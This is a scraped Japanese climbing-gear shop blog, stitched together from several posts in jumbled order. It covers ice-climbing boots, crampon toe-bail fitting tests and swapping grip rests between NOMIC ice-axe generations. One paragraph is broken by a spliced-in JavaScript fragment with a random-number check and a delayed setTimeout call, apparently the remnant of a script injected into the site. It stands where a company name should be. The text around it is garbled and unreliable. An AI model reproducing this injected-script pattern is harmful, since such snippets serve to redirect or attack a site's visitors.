カテゴリー: ぎあくえ

で、つづいて先ずは、DRY DRAGON（ドライドラゴン）！！。初体験のローカットフルートブーツ。

もう、こーなるとフラットソールだな・・・（笑）。

で、お待ち遠様でした！。次回はマニアなら気になって仕方ない、『持込マッチング編』をお送りします！！。お楽しみに！！。

とりあえず履いてみよう！。先ずは、ICE DRAGON（アイスドラゴン）！！。

ただ、サンプルなのか造りがヤバい・・・。

まぁ、そんなんに注意して履けば、足入れやゲーターの感じは悪くない。

爪の出具合も十分かなぁ～。

「何かイイ感じでしたよ」というK島くん情報を信じ、朝一MMさんブースのコレ狙い！。

KayLandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and社からリリース、ICE DRAGON（アイスドラゴン）とDRY DRAGON（ドライドラゴン）。

カーボンソールには雌ネジがビルドイン、昨日のアレに比べ極めて今っぽいね！！。

でも、ヒモで縛るあたりはアナログだわ・・・。

大抵は時系列的に書いておりますが、諸事情ございまして今回は新作フルートブーツの話題から。

その筋の人は興味津々、堅気にはまるで伝わらない・・・（笑）！。

イワタニさんブースより、LOWA社 ICE ROCKET GT（アイス ロケット）。
B社 RAPTOR CRAMPONS（ラプター クランポン）が標準装備となります。

「重量490g(UK8.0 片足)、サイズ展開UK4.0-11、予価@85,000+税」が現在のところの情報。

以前見たプロトタイプより遙かにソールの硬度は良くなっていますね。BOAシステムですが、コードにあまり遊びがないので、甲高な人は足を入れがやや難かなぁ～。

また、クランポンの取付はかなりアナログです・・・。

代理店サイドも、限りなく少量の発注と在庫と思われますので興味がある方はご相談下さい。サンプルサイズはUK8.0と思われる・・・。

そーなると、他にもやりたいのアルんだよねぇ～。

CT社 HYPER-SPIKE（ハイパースパイク）・・・。

デナリさん的には、小さい靴に不向きなブレランの救世主的存在でしたが、フロントベール穴が2つしかなく、ストイックな調整が厳しいのが悩み所のアレですわ・・・。

コレに先程のベールを組み込むとこんな感じ。

画像奥がノーマル、手前がBD Crampon Toe Bail、先っちょ削り取りVer.。

ベールが起きる事でブーツトップの迫り出しがなくなりました！！。

ポン付け可能なP社のパーツも悪くありませんが、

B社71mm位置で、

P社76mm、どーせ狭くしたいなら最狭はB社「Narrow先っちょ削り取りVer.」です。

まぁ、外れたりズレたりしてもトラブルがなければここまでストイックにしなる必要はないと思います。

ただ、オーバーパンツの裾が挟まったりするトラブルはなくないミラクルトラブルですので、色んな事考えておくのはイイ事です。

そー言えば、コチラの案件にも効果あるんじゃね？。

隙間を減らすことで、踏み込みの力のロスを減少。Wさん、第2号被験者の立候補お待ちしております（笑）！！。

でも、工場長にかかれば瞬殺、少し削ってハイ完成！！。

まぁ、標準的な男性サイズ足のわたくしにはあまり萌え感が少ない作業ですが、お客さん出費で実験出来るなら話は別。

一度色んな穴に入れてみたかったんだよなぁ～、BD Crampon Toe Bail。

ダウンサイジングで、左右の隙間減りました！！。

ブログ開いても毎日毎日同じよ―な先端画像ばかり。そろそろ飽きてきたでしょ？、ご心配なく。工場長、もっとウンザリしてますから・・・。

なので、今日は違うネタで勝負。「おせちもイイけどカレーもーね」つーことで。

コチラ、C社のBLADE RUNNER（ブレードランナー）。WIC（うぉーたーあいすくらいまー）絶賛の逸品。

とは言え、①ゴツいので重量が出る、②ダンゴになりやすい、③サイズ小さい靴に向かない、などの弱点に加え、「つま先が左右に動く時がありどーにかなりませんかね？」と言う相談を女性ユーザーから受けました。
所謂、④「フロントベール広くね？」疑惑・・・。

画像下側がブレラン純正、上側がBD Crampon Toe Bail (Narrow)。確かに、今時は色んなブーツに合うよう、各社オプション出してますね。

とは言え、他社製品に向けたオプションではないので、ポン付けができる訳でも無く、

先端形状が違うので、穴に入れることが出来ません・・・。

「おすすめのクランポン、おまかせで！」なんて言われると、コチラとしても責任重大。「何履いてましたっけ？」からはじまり、１つずつマッチングです。

＜検証１＞トラエクにブレラン。

ソールトップのそりが強いコチラのブーツではフロントに浮きがあり、雪詰め放題！？、相性がイイとは決して思えない。う～ん、今一。

＜検証２＞トラエクにハイスパ。

ソールトップとの相性は良いが、ベール穴が2つしかないのでこれ以上下げられない。フロントポイントを最大限活用出来ないので、コレまた日光手前、今一。

＜検証３＞トラエクにリンクス。

ベール穴も3つあるので、調整幅が秀逸。トラエクとの相性は一番良い。

おすすめと相性は別物、やはりマッチングは合わせてみないと分かりません。当店取扱外のブーツをお履きで且つ真剣に悩んでいる方、ブーツ持参でご来店下さい。

親切丁寧にスタッフが対応してくれるますが、デナリさんは「おもしろ山道具無料相談所」ではないのでご注意下さい（笑）！。

マニアなら、「じゃぁ、もう1世代前は？」って普通考えるわな。

ペイント依頼で預かりっパな、しょーみ大先生のソレ、正に第1世代。当然バラさせて頂きます！！。

あぁ～、第1世代も4ノッチなんだ～。

画像左、第1世代。画像右、第2世代（正確には第2.5世代）。

この世代交代でグリップレスト交換したがった人はあまり居ませんでしたが、第1世代に第2世代（正確には第2.5世代）は割りとスッキリ入ります。

つー事は、第1世代に第3世代のグリップレストは？。

とは言え、前回の記事もそーですが、「これOK？」と聞かれれば「NGです！」が清く正しい答えですので、悪しからず。

ちなみに、第2世代に於いては、「グリップレストの歯車の損傷でサイズ調節機能が出来なくなる問題」が発生しました。

メーカーはこの様な組合せを想定していませんでの、やりたい人は歯車が欠けよーが、グリップレストが欠落しよーが、使用者本人の責任に於いて完結して下さい。

「ポン付け」ですから付けるだけなら誰でも出来ます。ただ、使用想定ではネジの角度や締め付けトルク、下に突いたグリップレストの歯車に出来るだけ負担がないような工夫を施しておかないと、前回事例に学んだ事にはなりません。

まぁ、「残地スリング、飛んだ！」と言う前に、普通は支点強度確かめたり、足すなり何なりします。何でもかんでも人のせーにしたところで、最終的に自分の身は守れませんから。

「でなりらぼ」・「ぎあくえ」は『“自分自身が使う道具”の最適化』を追求しており、チョイ足しやカスタマイズの推奨ではございません！！。

当ブログを楽しみにご覧頂いているマニアの皆様、あぶない事しちゃダメよ💛。

新NOMIC（ノミック）のグリップレストは、メーカー公表「付きません」ですが、誰が何と言おーと、ないと余計欲しくなる・・・。

そーゆー時は、とりあえず分解！。

画像左、新NOMIC（ノミック）。画像左、その前のNOMIC（ノミック）。アルミプレートの形状変更、3から4ノッチ、なんて意地が悪い・・・。

ただ、よくよく見ると、前のノミック4mm穴は、新ノミック5mm穴と大体同じ位置になるポジションがあります。

故に、無加工ポン付け対象。

「ポン付け」なんでいきなり完成！！。画像左、ノーマルノミック。画像右、新型グリップレストポン付けノミック。

ちなみにSポジやLポジ、お話になりません・・・。

「丁度良き位置」はMとLの間ぐらい。

あとは少し力使えば、

向こう側が見えます！。

そこに間髪入れず前のノミックのM4を差し込んでネジ締めれば完成。

＜気になるポイント１＞ネジが真っ直ぐじゃない。

＜気になるポイント２＞アルミプレートの収まりが悪い。

まぁ、舐めずにネジが入っていれば、動くことはまずないと思いますし、グローブすればアタリ感じる事ないので、OKかなぁ～。

ストイックな人はスペーサーでも噛まして下さい。スッキリします（笑）！！。

触りたい人はK島くんのノミックが店に転がっているので、本人にご了承を得たうえでお触り下さい。

パーツ！？、少ないですが在庫アリ！！。